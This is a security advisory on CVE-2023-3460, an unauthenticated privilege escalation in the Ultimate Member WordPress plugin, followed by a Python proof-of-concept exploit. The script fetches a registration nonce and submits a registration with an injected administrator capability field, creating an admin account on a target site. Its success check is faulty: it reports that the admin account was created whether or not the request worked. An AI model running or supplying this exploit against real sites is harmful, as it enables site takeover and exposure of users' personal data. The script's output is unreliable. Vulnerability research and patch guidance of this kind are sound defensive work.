Overview
The Ultimate Member WordPress Plugin, version 2.6.6, has been identified with a critical privilege escalation vulnerability (CVE ID: CVE-2023-3460). This vulnerability allows unauthorized users to gain elevated permissions, potentially leading to unauthorized access and manipulation of sensitive user data within WordPress sites utilizing this plugin.
Technical Details
This vulnerability arises from improper validation of user roles within the Ultimate Member plugin. Specifically, an attacker could exploit this flaw by crafting a malicious request that bypasses the standard permission checks. When executed, this request could grant the attacker administrative privileges, allowing them to change settings, access user information, and even delete content.
For example, if an attacker were to send a specially crafted HTTP request to the server, it could result in the plugin mistakenly treating the attacker as a legitimate admin user. This could be done without any prior authentication, making it especially dangerous for websites that do not employ additional security measures.
Impact
The consequences of this vulnerability can be severe. An attacker with escalated privileges could manipulate user accounts, access personal data, and potentially compromise the entire website. This could lead to data breaches, loss of user trust, and significant reputational damage for organizations relying on the Ultimate Member plugin to manage user interactions.
Mitigation
To protect against CVE-2023-3460, it is crucial for WordPress site administrators to immediately update the Ultimate Member plugin to the latest version, which includes necessary patches to address this vulnerability. Regularly monitoring plugin updates and applying them promptly can significantly reduce the risk of exploitation.
Additionally, security professionals should implement robust access controls and consider utilizing security plugins that provide enhanced monitoring and intrusion detection capabilities. Employing security best practices, such as limiting login attempts and enforcing strong password policies, will further fortify defenses against unauthorized access.
Proof of Concept (PoC)
#!/usr/bin/env python3
# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
# Exploit Author: Gurjot Singh
# CVE: CVE-2023-3460
# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.
import requests
import argparse
import re
import urllib3
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def fetch_nonce(session, target_url):
"""Fetches the _wpnonce value from the /register/ page."""
print("[*] Fetching _wpnonce from the register page...")
try:
res = session.get(target_url, verify=False)
match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
if match:
nonce = match.group(1)
print(f"[+] Found _wpnonce: {nonce}")
return nonce
else:
print("[-] Failed to find _wpnonce on the page.")
return None
except Exception as e:
print(f"[!] Error fetching nonce: {e}")
return None
def exploit_register(target_url, username, password):
"""Sends a malicious registration request to create an admin user."""
session = requests.Session()
target_url = target_url.rstrip('/')
nonce = fetch_nonce(session, target_url)
if not nonce:
return
email = f"{username}@example.com"
# Payload with administrator role injection
data = {
"user_login-7": username,
"first_name-7": "Admin",
"last_name-7": username,
"user_email-7": email,
"user_password-7": password,
"confirm_user_password-7": password,
"form_id": "7",
"um_request": "",
"_wpnonce": nonce,
"_wp_http_referer": "/register/",
"wp_càpabilities[administrator]": "1" # serialized injection
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": target_url,
"Origin": target_url.split("/register")[0],
}
cookies = {
"wordpress_test_cookie": "WP Cookie check",
"wp_lang": "en_US"
}
print(f"[*] Sending malicious registration to {target_url} ...")
try:
response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
# Check for success
if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
else:
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
except Exception as e:
print(f"[!] Error during exploit: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
parser.add_argument("-u", "--user", default="admin1", help="Username to create")
parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
args = parser.parse_args()
exploit_register(args.target, args.user, args.password)